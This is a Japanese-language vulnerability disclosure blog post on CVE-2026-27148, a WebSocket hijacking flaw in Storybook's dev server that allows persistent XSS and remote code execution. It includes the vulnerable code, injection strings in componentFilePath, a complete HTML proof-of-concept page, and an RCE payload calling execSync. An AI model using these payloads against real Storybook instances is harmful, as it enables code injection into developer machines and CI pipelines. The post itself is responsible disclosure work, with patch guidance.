Aikido

Storybook の開発サーバーにおける WebSockets を使用した永続的な XSS/RCE

執筆者
Robbe Verwilghen

Aikido Attack、当社のAIペンテスト製品は、Storybookの開発サーバーでWebSocketハイジャックの脆弱性を発見しました。これは永続的なXSSおよびリモートコード実行につながる可能性があります。もし気づかれなければ、ペイロードはバージョン管理、CI/CDパイプライン、そしてStorybookの製品ビルドに紛れ込む可能性があります。StorybookのWebSocketサーバーには認証やアクセス制御がないため、開発サーバーが公開されている場合、攻撃者はユーザーの操作なしにこれをエクスプロイトできます。より一般的なローカル環境では、開発者がStorybookの実行中に悪意のあるウェブサイトにアクセスする必要があります。

アドバイザリ: GHSA-mjf5-7g4m-gx5w 

CVE: CVE-2026-27148

CVSS: 8.9 (高) 

Affected versions: Storybook >= 8.1.0 and < 10.2.10 

パッチ適用済みバージョン: 7.6.23, 8.6.17, 9.1.19, 10.2.10

脆弱性

Storybookは、メインアプリケーションとは独立してUIコンポーネントを構築およびテストするためのオープンソースのフロントエンドワークショップです。開発中、StorybookはWebSocketを使用してストーリーの作成および編集機能を強化するローカルサーバーを実行します。以前のバージョンでは、開発者は選択したエディターでストーリーコンポーネントを作成および編集し、ブラウザでStorybookの結果を表示する必要がありました。バージョン8.1以降では、開発者はStorybook UIを介してブラウザでコンポーネントを直接編集できます。このストーリー作成および編集機能に脆弱性が存在します。

問題点:WebSocketサーバーにはアクセス制御が全くありません。認証もセッション検証もなく、 Origin 受信接続に対するヘッダーチェック。開発サーバーに到達可能であれば、誰でも接続してstoriesディレクトリにファイルを書き込むことができます。

これにより、2つの異なる攻撃シナリオが生まれます。Storybookの開発サーバーが公開されている場合、インターネット上の認証されていない攻撃者はWebSocketエンドポイントに直接接続し、ユーザーの操作なしにそれをエクスプロイトできます。開発サーバーがローカルで実行されている場合、攻撃者は開発者に悪意のあるウェブページを訪問させる必要があり、そのウェブページがクロスオリジンWebSocket接続を確立します。 ws://localhost:6006/storybook-server-channel 開発者に代わって開きます。

のWebSocketエンドポイントは /storybook-server-channel 2種類のメッセージを受け入れます。 createNewStoryfileRequest そして saveStoryRequest。いずれのタイプもファイルシステムのsrc/storiesディレクトリに書き込みます。

脆弱なコードは、2つのWebSocketハンドラーに存在します。

どちらもに委譲します。 get-new-story-file.ts は、を導出します。 basenameWithoutExtension ユーザーが提供するcomponentFilePathから、それを無害化せずにに渡します。 typescript.ts、そこで生成されたソースコードに直接補間されます。

注入ポイント: get-new-story-file.ts

const base = basename(componentFilePath); //"Button';alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // ".tsx"
const basenameWithoutExtension = base.replace(extension, ''); // "Button';alert(document.domain);var a='"

シンク: typescript.ts

const importName = data.componentIsDefaultExport
  ? await getComponentVariableName(data.basenameWithoutExtension)
  : data.componentExportName; // ← user-controlled, unvalidated

...

const importStatement = data.componentIsDefaultExport
  ? `import ${importName} from './${data.basenameWithoutExtension}'`
  : `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here 

ディスクに書き込まれたファイル:

import type { Meta, StoryObj } from '@storybook/react-vite';

import { Button } from './Button-INJECTION_POINT-'; // ← injected here

const meta = {
  component: Button,
} satisfies Meta<typeof Button>;

export default meta;

type Story = StoryObj<typeof meta>;

export const Default: Story = {};

攻撃:WebSocketメッセージからコードインジェクションへ

公開されているインスタンスの場合、エクスプロイトは容易です。WebSocketエンドポイントに接続し、メッセージを送信するだけです。これは完全に自動化でき、インターネット上の公開されたStorybook開発インスタンスをスキャンするためにスケール可能です。

ローカルインスタンスの場合、攻撃には追加のステップが1つ必要です。開発者が悪意のあるウェブページにアクセスすると、そのページがlocalhost:6006へのWebSocket接続を密かに開き、細工されたメッセージを送信します。

{
  "type": "createNewStoryfileRequest",
  "args": [{
    "id": "xss_poc",
    "payload": {
      "componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
      "componentExportName": "Button",
      "componentIsDefaultExport": false,
      "componentExportCount": 1
    }
  }],
  "from": "preview"
}

注入された componentFilePath は、生成されたストーリーファイル内の文字列コンテキストから逸脱します。Storybookは新しい .stories.ts 攻撃者のJavaScriptが埋め込まれた状態で、src/storiesディレクトリ内のファイルをディスクに。

ディスクに書き込まれたファイル:

import type { Meta, StoryObj } from '@storybook/react-vite';

import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here

const meta = {
  component: Button,
} satisfies Meta<typeof Button>;

export default meta;

type Story = StoryObj<typeof meta>;

export const Default: Story = {};

会社情報 componentFilePath フィールドは最も直接的なインジェクションベクターですが、 componentExportName は、同じテンプレート位置に流れ込み、 componentIsDefaultExport がfalseの場合、metaブロック内のcomponent: プロパティやtypeof式を含め、同じテンプレート位置に流れ込みます。

完全なPoCは、単なるシンプルなHTMLページです。

<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
  <h1>Loading...</h1>
  <script>
    const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
    ws.onopen = () => {
      ws.send(JSON.stringify({
        type: "createNewStoryfileRequest",
        args: [{
          id: "xss_poc",
          payload: {
            componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
            componentExportName: "Button",
            componentIsDefaultExport: false,
            componentExportCount: 1
          }
        }],
        from: "preview"
      }));
    };
  </script>
</body>
</html>

それだけです。ページにアクセスすると、インジェクションされたストーリーファイルが開発者のマシンに存在します。

エスカレーション:XSSからRCEへ

この脆弱性の影響は、Storybookが最新の開発ワークフローと統合されている方法により、一時的なブラウザベースの攻撃を超えて拡大します。

ストーリーが自動テストに使用される環境では、深刻度が増します。多くのチームは、デフォルトのChromiumインスタンスではなく、Node.js環境(例:JSDOMを使用したVitest)内でテストを実行するために「ポータブルストーリー」を利用しています。これらの非デフォルトだが一般的な構成では、インジェクションされたJavaScriptはNodeJSコンテキストで実行され、サーバーサイドで動作します。これにより、ペイロードはテストランナーと同じ権限を獲得し、以下の可能性が生じます:

  • 認証情報漏洩:環境変数およびCI/CDのシークレットへのアクセス。
  • システムアクセス:ローカルファイルシステムおよびソースコードへの完全な読み書きアクセス。
  • ネットワークピボット:侵害されたビルドエージェントまたは開発者マシンから内部ネットワークリソースに到達する能力。

概念実証WebSocketメッセージ:

{
  "type": "createNewStoryfileRequest",
  "args": [{
    "id": "rce_stealth",
    "payload": {
      "componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
      "componentExportName": "Button",
      "componentIsDefaultExport": false,
      "componentExportCount": 1
    }
  }],
  "from": "preview"
}

いつ npx vitest が実行されると、手動でトリガーされたか、ファイル保存時にVS Code拡張機能によってトリガーされたか、またはCI/CDパイプラインでトリガーされたかに関わらず、出力は次のようになります。

RCE_PROOF:  uid=501(robbe) gid=20(staff) ...

その時点で、攻撃者は開発者の環境またはCIパイプライン内でコード実行権限を持ち、環境変数、認証情報、ファイルシステム、およびネットワークへのアクセス権限も得ます。

サプライチェーンの観点

この脆弱性の主なリスク要因は、永続化モデルです。ペイロードがプロジェクトのソースファイルに直接書き込まれるため、もし気づかれなければ、ペイロードはバージョン管理システムにコミットされる可能性があります。そうなると、エクスプロイトはいくつかの経路を通じて伝播する可能性があります:

  • 内部配布:更新されたブランチをプルしたチームメンバーは、自身のStorybookインスタンスまたはテストスイートを実行する際に、インジェクションされたペイロードをローカルで実行します。
  • CI/CDパイプライン実行:シークレットやデプロイメントキーにアクセスするために昇格された権限で実行されることが多い自動ビルドおよびテスト環境は、テストフェーズ中に悪意のあるコードを実行する可能性があります。
  • ドキュメントの露出:Storybookビルドがホストされたドキュメントサイトとして公開されている場合、コンポーネントを閲覧するあらゆるステークホルダー、デザイナー、または開発者にとって、XSSペイロードが永続化します。

ブラウザの保護機能

Google Chromeは、localhostへのクロスオリジンWebSocket接続に対する保護として、ローカルWebSocketリクエストの許可プロンプトの実装を開始しています。(参照:https://chromestatus.com/feature/5197681148428288)。Firefoxはこれを実装していません。したがって、チームにStorybookを実行しているFirefoxユーザーが一人でもいる場合、そのユーザーはクロスオリジン攻撃の実行可能な標的となります。

公開されている開発サーバーの場合、これらは全く関係ありません。攻撃者はブラウザを介さずにWebSocketエンドポイントに直接接続します。オリジンチェックも、CORSも、ブラウザの保護機能も一切関与しません。

対策

Storybookを以下のパッチ適用済みバージョンにアップデートしてください。7.6.238.6.179.1.19、または10.2.10。この修正により、WebSocketサーバーにオリジン検証が追加されます。後続のバージョンでは、Storybookはインジェクション攻撃を防ぐためにストーリー名にサニタイズも追加しました。

脆弱な機能は8.1で導入されましたが、予防措置としてパッチは7.xにもバックポートされたことにご留意ください。

リポジトリがAikidoによってスキャンされると、脆弱なStorybookバージョンが自動的にフラグ付けされ、フィードに表示されます。

タイムライン

  • 2026年2月6日: Aikido Attack(AIペンテストエージェント)によって特定されました。
  • 2026年2月6日: Storybookセキュリティチームに開示されました。
  • 2026年2月25日: Storybook 7.6.23、8.6.17、9.1.19、10.2.10でパッチが適用されました。
  • 2026年2月25日:GHSA-mjf5-7g4m-gx5wが公開されました。
共有:

https://www.aikido.dev/blog/storybooks-websockets-attack

本日より無料で開始いただけます。

無料で始める
CC不要

脅威ニュースをサブスクライブ

4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。